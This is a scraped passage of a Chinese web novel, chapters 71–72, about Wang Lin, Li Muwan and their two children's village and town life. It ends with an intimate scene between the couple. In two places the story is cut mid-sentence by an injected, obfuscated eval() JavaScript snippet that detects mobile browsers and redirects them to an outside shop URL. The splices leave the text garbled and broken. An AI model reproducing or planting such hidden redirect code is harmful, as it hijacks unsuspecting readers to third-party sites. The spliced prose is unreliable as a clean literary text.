每回去了她就不想走,大头会护着玩具,并非每次都乐意分享给她玩,可谢三婶却乐意给她做好吃的,两人但凡从谢三婶家回来,小肚子总是鼓鼓的。 有那么一回,姐弟俩在大头家玩得天黑也不知道回家,周英素立在海棠院墙外喊了几次,都不见二人应的声音。 无奈之下,挑水回来的王林只能带着李慕婉出去寻,谢三婶家没有,那就只能在王浩家了。 两人刚入院子,便瞧见王依依和大头躺在地上斗蛐蛐,王思礼则在一旁观战,帮着姐姐的蛐蛐喊加油。 院里躺着几个小人儿,脸上衣裳都是蹭的土,还有草碎挂在头发上,衣裳也乱了,不知道的以为是谁家丢的野孩子。 “王依依?”王林又气又好笑。 沉浸在欢乐的孩子们没有反应。 他又唤了一声,“王依依?” “嗯?”王依依随口一应,并未察觉身后的人。 忽的后领子被人揪住,姐弟俩似小鸡崽一样被王林一手一个拎起。 大头还乐呵地朝王林和李慕婉喊道,“二伯伯,二伯娘。” 他见势不妙,自己起身拍了拍。 “爹爹……”王依依才缓过神,手扯着领子,“这样难受。” “阿兄,放下来说话吧。”李慕婉接了王思礼,王林松开手,两人才站直了。 “什么时辰了?”王林正肃,“祖母喊了你们几次,天黑不知道回家吗?” “爹爹,我还想玩。”王依依心不在焉,装着都是笼里的蛐蛐。 李慕婉拍净王思礼身上的草屑,又给王依依擦脸。 “依依要玩明日再来,让祖母带你来好不好?”李慕婉哄着她。 “我不要,我就要现在玩。”她如今这个年纪了,更有自己的主意,也不是每回都那么好哄。 她退开几步,站远了,跟大头立在一块,扭着身子,侧过去不看爹娘。 手里搅着脏湿的衣袖,余光瞥着他俩,瞪着眼睛,一副生气的样子。 夫妻二人面面相觑,王林眉心越发蹙紧,他吸了口气,进屋与王浩夫妻二人问了好,出来时径直拉了王依依往回走,可王依依挣扎着,哭了。 王思礼凡事都跟着姐姐,姐姐做什么他便做什么。 斗蛐蛐还没分出胜负,王依依哭得厉害,不愿意跟王林走,李慕婉抱着王思礼,怀里的他也跟着哭。 王林面色平静,抱起她,任由她在怀里挣扎,等她哭好了,才漫不经心开口:“依依不要爹娘和祖父祖母了?因着一个蛐蛐,天黑也不带着弟弟回家?” 哭声绕在田野上。 “我想玩蛐蛐。”她眼睛红红的,鼻涕流出来了,王林用衣袖给她擦。 “明日再来也能玩,祖母做了你们爱吃的肉包子,依依要出去玩,爹爹娘亲不管,但是天黑前得回来,不然家里担心,爹爹娘亲不是都教过的?”王林耐心与她说,“你瞧弟弟是不是都累了?” 王思礼在李慕婉怀里睡着了。 “那爹爹,明天依依还能去大头家玩吗?”她还委屈着。 “当然可以。”王依依吸了吸鼻子,蹭着他心口。 “爹爹不凶依依吗?” “爹爹知道,依依只是玩心起来了,一时失度,你如今知错了,爹爹还生什么气?” 王依依瞟着李慕婉,李慕婉点点头,王依依肚子叫了。 “你瞧,依依饿了。”王林温柔地掂了两下,嬷嬷她瘪下去的肚子。 王依依觉着爹爹与自己玩,笑了,问道:“娘亲,祖母当真做了肉包子吗?” “是,不过依依身上脏了,回去得先洗浴后才能吃包子。”李慕婉与王林并排着。 “我要吃这么多。”她伸出五指,夜幕降下,村道上看得不是很清楚。 小小的指头,都是脏污,指甲里也都是泥,回到王家村,她性子倒是野了不少,只不过能看见她撒欢地玩,王林和李慕婉便由着她。 “晚上吃多了积食。”李慕婉应着她。 “婉儿当心些。”王林侧头看她叮嘱道,光线不大好,怕她摔着了。 王依依情绪调整得很快,路上跟爹娘一句一句问着,王林和李慕婉都应着她。 回到小院后,给姐弟俩洗了澡,王林抱进堂屋,王天水抱着王思礼给他擦头发。 玩了半晌,午觉也没怎么睡,这会他便频繁眨眼睛,周英素端了刚出炉的热包子,李慕婉拿着碗筷跟进来。 王林收拾好小院,又把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300735|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐弟俩换下的脏衣泡入木盆里。 “铁柱啊,吃饭吧,先别忙了。”周英素喊着他。 “知道了娘。”王林倒完最后一桶水,擦干手上水渍往堂屋去。 王依依已经在啃着包子,看来是真的玩饿了,腮帮子塞得鼓鼓的。 “依依,慢些吃,别噎着。”周英素眼里含着慈爱,看着孙女吃得香,她嘴角上扬不下。 李慕婉给她拿掉衣裳上落的肉碎,给她抚平胸口,顺了顺,柔声说:“嚼多几下再咽,别噎着了。” “这会知道饿了,若是不回来,这好吃的肉包子,可不给你留了。”王林拿了一个包子放入李慕婉碗里。 “爹爹,这事过了,你方才答应依依不提的。”她一边嚼着一边说话。 “咽下去再说话。”李慕婉道。 她手里的吃完了,又想抬手去拿,长木桌宽,她小手够不着,王天水给她拿了一个。 “谢谢祖父,”她撑着小手等待投喂,晃着小腿,开心道,“祖母做包子辛苦了,祖母多吃一些。” “好,依依乖。” 王思礼勉强吃完一个,倒头就睡在王天水怀里。 晚饭结束,竹林小院的天彻底黑了,田间的蝉鸣蛙叫渐渐出来。 李慕婉抱王思礼回屋里睡,王林坐在长木桌教王依依念字,她窝在王林怀里,与他说着话。 晚上洗的头还没来得及给她梳,这会李慕婉拿了把木梳,轻轻给她梳着发,王依依的头发柔顺且密,随了她。 “爹爹,咱们什么时候回县里啊?”她躺在王林怀里,仰着头问他。 “依依想去县里了?”王林说,“不是跟大头玩得开心吗?” “我想把大头送我的玩具,拿到县里跟大牛分享,大牛整天打铁,咱们回了王家村几日,他该无聊了。”白发落在她脸上,把她扎痒了,王依依伸手拨掉。 李慕婉给她梳好了头,“好了。” “娘亲,你还给爹爹梳头吗?” 李慕婉与王林对视一眼,她歪了头,似乎等王林开口。 “婉儿,来。”王林伸手让她坐下来。 李慕婉挨过去,贴着他。 王依依抓了一把他的白发,又挑了李慕婉一丝黑发,缠在一块玩。 “再过两日,私塾开课了,咱们就回去县里。”王林回着她的问题。 屏风后矮榻上熟睡的王思礼似乎在打鼾,李慕婉比了嘘的手势,谈话声变小了。 “那咱们去长乐县前要去找舅舅玩。”手里的发丝被她无声无息地编成一条小辫。 “好,那明日咱们一块去。” 李慕婉抱着王林手臂,靠在他肩头,摸着王依依的头顶,没一会,怀里的人睡着了。 “依依睡了。”李慕婉对王林说。 王林低头瞧了一眼,正欲起身,发丝扯住了,李慕婉也受了一股力,连带起身。 两人看见胸前交缠的头发,无奈笑笑,李慕婉抬手准备解开,王林打断她,“婉儿别解。” 李慕婉收手,茫然望着他,“为何?不解开怎么走路。” 他挑着笑,“婉儿与我步伐一致,自然能走。” 李慕婉闻言站直身,一直等他放下王依依,两人坐在床沿,两缕发丝松了些,王林又编紧了。 “结发为夫妻,恩爱两不疑。欢娱在今夕,嬿婉及良时。”他眸子脉脉含情,“婉儿,这样的日子,便是我最向往的。” 李慕婉靠过去,掌心滑入他大掌,“阿兄,婉儿亦如此。” 两人回眸看着矮榻熟睡的一儿一女,王依依小手臂搭着王思礼,成一个保护的姿势。 71.相守 翌日王林带着母子三人去了镇上药铺,李奇庆留了许多外商带来的玩具,跟大头家的不一样,王依依和王思礼一人一份。 王依依有了新玩具,还记得拿去给大头分享,这一次天黑前她知道要回家。 日暮未及,田里的村民还未息,王依依就带着王思礼往竹林小院回。 田野上的稻苗长得绿,风一吹,麦浪滚过。只是走到半道,不知哪家的狗追过来,两人开始还是警惕的,不慌不忙地移着步子,王依依紧紧抓着王思礼,把他护着身后。 “姐姐,狗狗咬人吗?”王思礼趴在她身后。 “不咬人,思礼不要跑,小狗就不会追了,这是祖父说的。”王依依推着他先走。 等了一会,她才跟上,可没走多远,那只小黄狗就追上去,摇着尾巴,不像是要咬人的,应是想跟他们玩儿。 两人见状更害怕了,一时把方才说的话都抛之脑后,步子跑的急。 “思礼快跑。” 王依依一边跑一边喊着:“娘亲,娘亲……” “啊啊啊……”王思礼在前面哇哇哭,还知道跑。 王依依望着远处竹林小院的院墙,“爹爹,救命……” “爹爹……” 小黄狗撵上了,就转在他们脚边,长高的稻苗把两个小人的身子遮了一半,远处的村民只以为是玩闹,也没多管,直起身子扫了一眼,又弯下腰杆继续干农活。 院里的王林和李慕婉听见声音,走出院墙,远看着田埂上还有人的,只听得扑腾一声,人影跑着跑着不见了。 “又掉进去了。”王林侧眸与李慕婉平静说。 李慕婉捋顺发丝,挽起衣袖,同样淡定,“我去烧水,阿兄去接回来吧。” “好。” 李慕婉从厨房烧好水出来,王思礼和王依依一人一个木墩子,直直坐在院里。 “爹爹,祖父不是说,不跑小狗就不追吗?”王依依心有余悸,“为何小黄狗还要追着我和弟弟。” “你们没跑吗?”王林从厨房拎着木桶。 王依依脚蹭着草地,小鞋都被泥水浸湿了。 “跑了……”她低头看着鞋底的泥一点一点蹭掉。 “有哪里疼吗?”李慕婉抬着王思礼的手臂,没看着伤口又去给王依依检查。 “没有,就是稻叶割人。”王依依伸出手臂给她看,稻叶割了手一时半会看不到伤口,得碰了水或久一些才会显现痕迹。 “割着了?”李慕婉心疼地给她仔细摸了摸,她知道被稻叶割伤的感觉,痛痒痛痒的。 “娘亲不疼。”王依依乐观道。 “等洗干净后娘亲给你上药。” “娘亲,抱抱。”王思礼张开手臂。 王林拎着捅热水出来,一把举过王思礼,“你身上都是泥,别把娘亲也弄脏了。” 王思礼哭得鼻头通红,小脸蛋被泥巴盖住了,黑乎乎的,难怪王林不让李慕婉抱。 两人衣袖和衣裳都是糊的泥土,王林从田里刚捡回来的。就连身上也被殃及了,蹭了两人身上的湿泥,不得已他也得换衣裳,好在李慕婉多烧了些水,父子三人够用了。 索性热水拎到后院净室,王天水早两年做了个浴桶,是给王依依和王思礼夏日装满水,让姐弟两人游着玩的。 净室的竹帘放下,王林脱了外衣,只留一条亵裤别在身上,跨入浴桶内。李慕婉先给王思礼脱了衣裳,抱进浴桶里,王林接着,让孩子坐到大腿上,热水装得不深,淹不到孩子。 王依依紧随其后,进来浴桶水仗便打起来了,李慕婉拿了块帕巾,又递了一块给王林,浸湿后各自给两个孩子擦脸。 “娘亲不一起吗?”王依依捧了把水,从自己胸前浇下去,又捧了一把,在王思礼的后背往下淋。 王林闻言瞅着她似也在问她,李慕婉避开他视线,“水不够了。” 她怎可能在孩子面前跟王林同浴,而且还是在竹林小院,爹娘瞧见也不好。 王林这眼神,就是故意挑逗她的。 “爹爹,等咱们回了长乐县,让娘亲一块洗好不好。”县里宅子有温池,自然能容下一家四口。 “好。” 以前每回四人一块洗时,王依依和王思礼都是先回屋的,哄睡了,院子还有二人在温池缱绻的声音。 李慕婉心念一想,确实许久,没与他同浴了…… 这些日子,两个孩子闹腾得很,得分心神顾着他们。成婚那会夫妻间的事他要的频繁,她只当王林是食髓知味。 可如今成婚几年了,王林与她虽未夜夜笙歌,却也是隔三差五的缠着她,每次时辰短不了,要不一连好几次,不知他终日哪来那么多精力折腾。 *** 隔了半月,一家子又回王家村小住。 谢三婶家要在院子前翻一块菜地,周英素家里不忙便去帮手,李慕婉和王林去了清平镇,两个孩子留在小院里,也要跟着周英素去。 周英素帮忙翻土,春日的昆虫都出来了,蚂蚱、蟋蟀、蚯蚓、青蛙...... 两个孩子还是第一次下地玩儿,见着什么都稀奇,胆子又大。 王依依屁股撅得老高,一个猛扑,按住了只青蛙,蛙腿从指缝漏出来,她随即收力,紧紧捏着青蛙,举高了给周英素看。 “祖母,这是依依抓的青蛙。” 周英素跟谢三婶忙着说话,侧头看了看她,“好好好,依依真棒。” 王思礼也有样学样,举着一条蚯蚓等夸,“祖母,思礼也抓到了,这是什么?” 王依依嫌弃的撇了一眼他手里长长的蚯蚓,悄无声息地往后退了几步。 “这是蚯蚓,能入药的。”周英素叮嘱说,“你可别都放嘴里啊,依依也是。” 王依依不会,王思礼还小就不一定了,她得唠叨几句。 “婉儿和铁柱没在家啊?”谢三婶笑着望了望这两个小娃娃。 “去镇子上了。” “铁柱命好,娶了婉儿这么个贤惠能干的媳妇,又给老王家生了一儿一女,你和我王大哥这辈子,可见圆满了,真叫人羡慕。”谢三婶露出羡慕的笑容。 “老姐姐,花影也不错啊,姑爷疼她,婉儿昨日还说等花影回来后一块聚聚呢。” 王思礼见祖母没有再理会自己,他便把注意力放到姐姐身上,“姐姐,这是蚯蚓。” “我知道。”王依依蹙眉,眼里的嫌弃肉眼可见。 她怕蛇,怕蚯蚓这种长条的软体动物,警惕着他,“小麻袋,不许过来。” 谢三婶听见了,忍不住问周英素,“小麻袋?这名字谁取的?” “铁柱说是依依自己给取的。”周英素说。 谢三婶意味深长的“哦”了一句。 王思礼手里抓着蚯蚓不愿放,王依依不敢跟他玩,两个人隔得远,愣是在地里玩了半晌。 不知不觉,王思礼在田里打滚,身上全是泥,还把蚯蚓放到袖袋里,说要拿回去给娘亲看,一口气在土里翻出好些。 李慕婉害怕,给他换掉脏衣裳时,见着袖袋缠着的好几条活生生的蚯蚓,魂都吓丢了。 “王、思、礼!”李慕婉的喊声响彻小院,鸡圈里的鸡抖了抖毛,海棠枝上的麻雀在巢穴探出头张望,院内抱柴去烧水的王林闻声丢了柴火,赶忙回屋查看。 “婉儿,怎么了?” 他满脸担忧的走过去,看了看站在屏风后的王思礼和王依依。 李慕婉眸子里含着泪水,猛地扑到王林怀里,王林张开手接她,她跺着脚浑身都在抗拒,抬起腿不愿意着地。 那几只蚯蚓还在木板上蠕动,王思礼懵懵地望着娘亲,小眼神无辜得很。 “给娘亲的……”他指了指那些散在地上的蚯蚓。 “阿兄,阿兄……有……”王林搂着她,李慕婉不敢回头看,头埋进王林颈侧,含糊不清地说着什么。 “婉儿,怎么了这是?”王林只能横抱起她,安抚着。 “爹爹,思礼带回的蚯蚓,把娘亲吓着了。”王依依一副事不关己的模样,也不是要告谁的状。 原是如此,王林哄着她,“婉儿不怕。” “娘亲胆子比依依还小。”王依依推着王思礼,“你把娘亲吓哭了,抓紧把这些蚯蚓都抓到院里去。” 王思礼只觉得蚯蚓好玩,想给娘亲看,不曾想吓哭了娘亲,他瘪着小嘴,不情不愿地把地上的几条蚯蚓弄走了。 “依依,你带弟弟去找祖母。” 王林支走了两个小孩,抱着李慕婉落在长木桌前,整个人坐在他身上,宠溺地望着她,掌心擦干了眼泪,“吓着我的婉儿了。” 李慕婉委屈地看着他,王林吻上她的眼眶,温声哄她,“不哭了,阿兄在呢,思礼不知道娘亲害怕,他只是想跟你玩的。” 小脸贴着他的胸膛,可怜样叫人看了怜惜。 “婉儿知道,”李慕婉回想起那个画面,还是忍不住颤了颤,“可那东西委实吓人……” 王林捏了几下她脸蛋,“好,那以后不许他们再去田里,料不定哪日又带回来什么东西吓着婉儿。” “嗯。”她鼻音重重的,钻在他怀里不愿意出来。 王林哄了好半晌,才去给姐弟两洗了澡,换了衣裳,白胖胖的小人与方才脏兮兮的模样判若两人。 晚膳时,王思礼坐在王林怀里,睁着眼睛时不时瞟着一旁的李慕婉。 仿若想了许久,又不知道怎么哄,他把勺子递过去,“娘亲,我要娘亲喂。” 王林夹了菜往他碗里放,目光散着温柔,王思礼耐心等着李慕婉接。 “娘亲,思礼错了,思礼明日给娘亲摘一束花赔罪。”这话是王林给他沐浴时教来哄娘亲的。 李慕婉接了他的小勺,舀了一勺稀饭喂他。 王思礼乖乖张嘴,咽下后抬头眨着眼望王林,似乎在等表扬。 王林顺势夸道,“思礼也会哄娘亲了。” *** 王林收到其他郡县送来的讲学邀帖,他一直未接。从燕州回来后,他再没出去讲学过,往事历历在目,失去后的彷徨和噬魂之痛他再此生难忘。 偶尔县里书院会邀约他去讲一两日,他倒是不推辞,总之每回下学后,李慕婉都会带着王依依和王思礼等他下工。 药铺的生意好,若是有外县的大单子,李慕婉都会介绍到李奇庆药铺里,清平镇临着港口,运输货物便利些。 而木雕铺子的生意不像药房每日人来人往,偶尔有些富商或是家奴侍从重金买走一些成品。 他从不接单子,只管自己想刻什么。久而久之,不少文人慕名而来长乐县,只为听一场白发先生的讲学。 日子虽说过得繁忙,每半月夫妻二人总会抽出几日回王家村陪伴二老。 周英素悠闲,去谢三婶家吃茶,王天水则在王 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“是嘛,”李奇庆捏了她面颊,“这都是客商送的,不止他们两的,还有王叔周婶的,你们夫妻两的,都不缺。” “兄长费心了,”王林接过他怀里的王依依,“让舅舅进去喝茶,依依带着思礼去找祖父玩,乖。” 堂屋霎时热闹了,李奇庆从西域外商那得了张丹方,想着李慕婉定然会喜欢,特意花了大价钱买下。 李慕婉倒了茶,挨着王林坐在两人中间,李奇庆拿出丹方移到李慕婉跟前,“前些日子哥哥收了几张丹方,瞧见有意思的,就想着给小妹带来。” “给我的?”李慕婉满心欢喜,扫了一眼,“驻颜丹方?” 李奇庆呷了口茶,“嗯。” “怎么?是哥哥需要还是哥哥觉着婉儿需要?”她笑得娇俏,虽已是两个孩子的母亲,却不见她面容上有岁月的痕迹。 “倒不是因为这个。”他只是觉着妹妹虽已为人母,自己也该当与未出阁前一般宠爱着,从前就总爱给她买脂粉首饰哄她玩,李慕婉也喜欢。 “可是我看上边所需药材都是名贵之物,许多价格昂贵,还有的有市无价,要练成丹药何其困难?”李慕婉细细研究着。 “正因如此,这张丹方才显得更是珍贵,哥哥都看过了,里边的药材除了几味主味药物,其他哥哥的铺子里都给你留着,你若需要就到铺子里拿。” “至于其他的,哥哥拖人给你寻来,不是难事。”李奇庆风轻云淡,又浅啜一口。 “哥,”李慕婉撒着娇,揶揄他,“你对婉儿怎么这么好?” “你虽已是人母,可在哥哥这里,永远是我的小妹,哥哥对你好不是理所应当嘛?”李奇庆摸着她头,李慕婉身躯往他靠了靠,“谢谢哥。” 用过午饭,几人留在小院里闲聊,欢声笑语回荡竹林小院,李奇庆又拉着王林下棋,势必要赢他一回,李慕婉的琴音绕梁不消。 王依依趴在琴边端详着她弹琴,盯着那张脸,童真道,“娘亲,你好漂亮。” 李慕婉温柔一笑,停了琴声,摸了她头,“依依想不想学琴?娘亲教你。” 她脑子转了几下,犹豫道,“娘亲,依依想跟舅舅学经商。” 王林捏子的手微顿,歪头看着她,“依依想学经商?” 李奇庆放声大笑,“依依过来舅舅这。” 王依依撑起身往李奇庆怀里去,“舅舅,可以吗?” “当然了。”李奇庆肉眼可见的开心,“那依依先在私塾里好好念书,长大一些舅舅再带你经商,好不好?” 她重重点着头。 王林与李慕婉相视一笑。 王思礼钻入王林怀里,仰着头说:“爹爹,念书。” “嗯?”王林大掌碰着他小脸,“思礼要念书啊?” “棋。”他又指了指棋盘,努力垫着脚攀爬。王林索性给他抱起来。 王思礼趁机拿了他手里的棋子,求助地看着王林,“爹爹,下这。” 他手短,够不着,王林替他指了个棋格,“思礼要下这里?” 王思礼摇头,他便又往左移了一格,“那是这?” 只见他点了点头,王林随即落子。 两人看了棋盘局势,他这一子倒是落得精妙,两人相视一眼,李奇庆说:“思礼爱念书,这么小都看得懂棋了?不简单啊。” “两岁神童,焉是池中物。”李奇庆话有所指,王林与李慕婉相视,明白了他所言之意。 “依依,带弟弟去玩儿。”王林说,“婉儿,再弹一曲吧。” “好。” 李慕婉拨弦,王依依和王思礼栽在小院的花丛里玩躲猫猫,蝴蝶绕过花枝藏身起来。 王天水给海棠花修枝,周英素又要给孙儿们做新衣,小孩长得快,衣裳换的勤,李慕婉总说不要她操劳,可祖母惦记孙儿的心,做几件都不觉得累。 琴音漫过小院,绕在竹林上空,院中人影与谈笑环过,还有孩童追逐打闹的童趣。 李慕婉视线随着孩子奔跑的方向落在下棋的王林身上,王林落了一子仿若心有灵犀,抬眼与她视线交汇,一阵清风拂面,竹叶划过小院,遮住二人视野。 初遇的画面纵入脑海,王林伸手接住了落叶,掌心收紧时,柔情地望着李慕婉。 金风玉露一相逢,便胜却人间无数。 ——正文完 72.平淡 长乐县进来文人聚集多了,王林两耳不闻窗外事,守着两个铺子,还有家人,过起自家日子。 许立国日暮前把王依依从私塾里接了回来,药铺与木雕铺子是连着的,早两月前对面来了一家新的铁匠铺子。 他们家儿子与王依依同岁,两人玩得好,王依依下学后就往铁匠铺子跑,街道几家铺子都有不少小孩,总能聚在一起满街道的玩。 王依依刚进药铺左右喊了声“爹娘”,放好书箱,又去抱了抱专注看书的王思礼,朝他面颊啜了一口便要往外跑。 王林放了刻刀喊住她,“依依,夫子布置的功课可做完了?” 李慕婉在柜台规整药材,朝两人看去,王思礼还坐在小矮凳上看书。 “爹爹,我在书院早就写完了,不信你问许立国叔叔啊。”王依依走近他,捧了他的茶盏,咕噜咕噜喝下一大口。 “爹爹,娘亲,我要去对面铁匠铺子找大牛玩儿,吃饭喊我。”她一溜烟便跑了出去。 王林噙着笑意摇摇头。 王思礼合上书,爬下矮凳,也要追出去,奶声奶气地说着,“爹爹,娘亲,我也要去找姐姐玩。” “好,出去玩当心一些。”李慕婉给他理齐衣领,拍了两下,“要跟紧姐姐,知道吗?” “思礼记住了。” “去吧。” 王思礼追出去,王依依身影已经入了铁匠铺子,“曾大伯,大娘,我来找大牛玩。” “好。”曾父手里抡着铁锤。 “大牛,快出来,我爹爹给你刻了木雕,去我家拿?”大牛本是自来熟,王依依性子又热情,两个小孩熟的快,平日王依依去念书去了,他没少去药铺看王林刻木头。 曾父要他学打铁,他不喜欢,在铺子前吵着要跟王叔学木雕,少不了又要被曾父揪一顿耳朵。 “哦。”大牛从后院出来,“你下学了?” “昂,走吧。”王依依等着他。 王思礼才走到铁匠铺,又看曾父在敲铁,炉子里哔出火花,把他吸引住了。 “思礼也来找大牛哥哥玩吗?”曾父瞧着他那小模样,小小年纪却有一副端正肃穆的神情,与他父亲的沉稳有几分相似。 “嗯,曾大伯。”他礼貌喊了句,见王依依和曾牛跑远了,他追上去。 “思礼,你跑快些,姐姐不等你了啊。”几人约着去戏楼玩。 王思礼跑得慢,只能远远跟着,也不哭闹,追上了才作罢。 “姐姐。”满头大汗的他睁着眼圆溜溜地望着王依依。 王依依跟小伙伴们说着私塾里的趣事,又给他擦了汗。王思礼紧紧抓着她衣角,戏楼里人多,王依依牵着他,生怕跟丢了。 戏楼里每日申时到酉时都有说书先生讲话本,几个小孩要了一叠五香瓜子,能听到天黑。 天色暗下,曾父扯着嗓子朝街道喊,街头到街尾似乎都能听见声,正听话本的大牛背脊打颤,跳下凳子对着几人说:“我爹喊我,我得先回去了。” 否则,回去得晚曾父又得楸他耳朵。 “我们也回。”王依依牵着王思礼一块出了戏楼。 大牛刚回家门就被揪着耳朵,“爹,疼疼疼……轻点。” “小兔崽子,这么晚不知道回家啊。” 王依依偷笑,随即往自家铺子回,王思礼还站在那偷乐,王依依已经回到铺子檐下回头喊着他:“小麻袋,快回来,姐姐不等你了。” “姐姐,来了。”王思礼提起步子跑回家。 李慕婉刚好收了账本准备出去把两个孩子叫回来吃饭。 “依依?”她瞅着大门檐下的王依依,却不见王思礼,“弟弟呢?” “小麻袋在后面呢。”王依依刚说完,王思礼便跑了回来,身上出了一身汗,李慕婉蹲下身接着他,给他擦着汗。 “弟弟为何叫小麻袋啊?”李慕婉早就想问,为何要叫弟弟这个名字,王依依也只是玩闹时才会这般唤,先前也听过几回。 “许立国叔叔说,要是弟弟自己跑出去,会被人套麻袋抢走的,我便这么叫他了,祖父母不常说嘛,小孩要取个糙名,才好养活。”他的模样生得跟个小福娃似的,可爱得紧,就连来药铺抓药和买木雕的客人瞧见他都忍不住与他逗两句。 “所以祖父祖母才叫爹爹……”王依依鬼精灵,话到嘴边自个捂了嘴,眼珠子转了转,李慕婉知道她想说什么。 李慕婉摇头一笑,“那依依出去玩要多看着点弟弟。” “娘放心吧,小麻袋聪明着呢。”王依依跨入门槛,王林已经做好晚膳从后院端出来。 长木桌上摆放好了几副碗筷,“婉儿,吃饭了。” “爹爹做的菜好香。”王依依撑着木桌深吸了一口,赞不绝口。 “依依饿了?”王林把果子酒摆上桌。 “嗯,爹爹我能先尝一块么?”她指着碗里的酱牛肉。 王林朝李慕婉看了眼,李慕婉抱着王思礼又喊她,“依依,吃饭前要做什么?” “净手。”她答得快往后院跑去,舀了一瓢水自己洗好又替王思礼清洗。 几人刚坐下,大牛拎着果子酒,“王叔,婉儿婶婶,我来给你们送酒了。” 大牛放了酒,王林摸摸他头,“好。” 李慕婉又拿了一副碗筷,温柔道,“大牛,一起吃吧,你说的木雕王叔给你刻好了,吃完饭拿回去。” 大牛思虑须臾,答应下:“好,谢谢王叔和婉儿婶婶。” 起初刚见李慕婉,他开口就喊姐姐,爹娘说得跟着喊王婶。他不愿意,曾父揪着耳朵训他,大牛眼里噙着不服的眼泪,勉强答应喊婶婶,但他不喜欢喊王婶,他要喊婉儿婶婶。 曾父没法子,大牛主意多,又怕他带着王依依姐弟玩,给人都带野性了。谁知王依依同他是一个路子的。 他爬上长凳,王依依朝他使眼色,大牛吐了吐舌头,王思礼自己抓着小勺吃饭,喊着他,“大牛哥哥。” 屋外传来曾父的声音,“大牛,送完酒就回来吃饭了,别打扰你王叔。” “爹,我在王叔家吃。” “这小兔崽子。” 曾母劝着,“好了,就让大牛去吧,凑个热闹罢了。” 偶尔两家也会各自串门用饭,曾家做了饭会叫上王家一起去吃,王林和李慕婉懂得礼尚往来,也不会怠慢。 做好的药贴和丹药会送到铁匠铺子,曾父常年打铁身子健朗,可手腕酸痛难免,李慕婉的药贴便极其有效。 吃过饭王林拿了木雕给大牛带回家玩,收拾好后铺子门关了,一家人才回到宅子休息。 王林给王思礼和王依依盛好热水,庭院里放了两个浴桶,李慕婉拿了干净衣裳给孩子们换洗。 王依依自己脱了外衣,里面裹着一件小布,王林提着她放入浴桶,她自己往身上招着热水,王思礼想进去,却又耐着性子,这个年岁的孩子难得情绪稳定。 他小手挥舞着,待王林把他小衣裳都脱完了才抱进去,浴桶冒着热气,王依依捧了一把水,朝弟弟身上泼,水珠洒了满面。 委屈的小眉头一皱,回眸看了眼爹爹,“爹爹……” 王林噙着笑,替他抹了水珠。 “小麻袋,姐姐跟你玩,你不泼回来吗?”王依依又捧了一把水,还没泼过去。 他正等王林点头,见爹爹点了头,他这才学着姐姐的模样捧了一把水泼过去,只是他手掌小,没泼出去就几乎漏完了,也没能“复仇”成功。 王依依得意笑着,捧了把水又要泼过去,他干脆转了个身要躲,小身板结结实实的接住了。 李慕婉听着笑声从廊下过来,声音温柔,“不是洗澡嘛,怎么玩起来了?” 托盘的衣裳放到石桌上,她提起裙摆蹲身,试了试水温,又浸湿帕子拧干水,擦着王依依的脸。 “娘亲,我跟弟弟玩呢。” 李慕婉看见王林身上浸湿的地方,“你把水都泼到爹爹身上了。” “无妨。”王林宠溺地看着他们。 入夜风带着些凉意,月光晒着庭院,他胸前衣领湿了。 “对不起爹爹。”王依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321220|144902||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 依凑前蹭了蹭他面颊,连同水汽蹭过去。 夫妻两人心都暖化了,哪里还舍得责备。 “那依依晚上带着弟弟睡?”王林哄着她。 王依依眼珠子转了一圈,直直盯着他,审视道,“爹爹又要跟娘亲说悄悄话?有什么悄悄话是我和弟弟不能听的?” “悄悄话,我也要听。”王思礼转回身子。 李慕婉低头含笑没作声,水温降下了,洗得差不多就给她擦着身子。 王林目光裹着李慕婉,“是,大人要说的话,依依和思礼不能听,不信你问娘亲?” “娘亲,是这样吗?”王依依歪头去看她,追着问。 李慕婉睨了他一眼,无奈叹息,“爹爹说的话,自然是要听的。” 王林这才满意笑了。 夜深后,王思礼哄睡了,王林抱到偏屋去,给两个人盖好了被褥又返回寝屋。 李慕婉立在窗台下卸发,指尖捏着一支莲花钗,墨发散落,铺在宽大的中衣上,王林推门而入,视线落在她身上,喉结不由滚动两下。 李慕婉倩影转过,月色落在她发上,把轮廓映得更加温婉,王林别上锁朝窗台走去。 “婉儿。”气息隐隐泛着颤。 “依依也睡着了?”李慕婉看着他过来。 “哄睡了。”王林手臂绕过她腰枝,两人坐在书案前,“许久未与婉儿一块看书了。” “阿兄想看什么书?”李慕婉倾身翻着书案上叠的几本书,都是他常看的。 “婉儿挑吧。”王林下颚抵着她肩窝,烛火晃荡,白发裹着一层暖黄。 李慕婉随意拿了本,王林接过后随即翻页,她便靠在胸膛前,耳侧时不时有热气传来,很轻很浅。 彼此习惯了对方阅书的速度,王林每每看完一页等上片刻才翻页,正巧李慕婉就看完了。月色慢移,从窗台往西,屋内暗了些,灯芯长了。 微风涌入窗台,把二人发丝轻轻吹起,悄无声息灌入两人体内,李慕婉受着凉意,又往他身上蹭了蹭,暖意覆盖着,王林已然没了看书的心情。 拿着书本的指尖沿着边沿慢慢移到李慕婉手腕,忽而用力,书掉了,手腕落到他面颊上。 “阿兄?”李慕婉一丝轻轻的颤音,勾得他心魂俱颤。 “婉儿,夜深了。”结实的臂膀从身下穿过,李慕婉被打横抱起,窗只掩了一半,矮榻陷下,王林抱着她,结实的腹部压过她,软指游在他线条里,中衣不知何时散落地上。 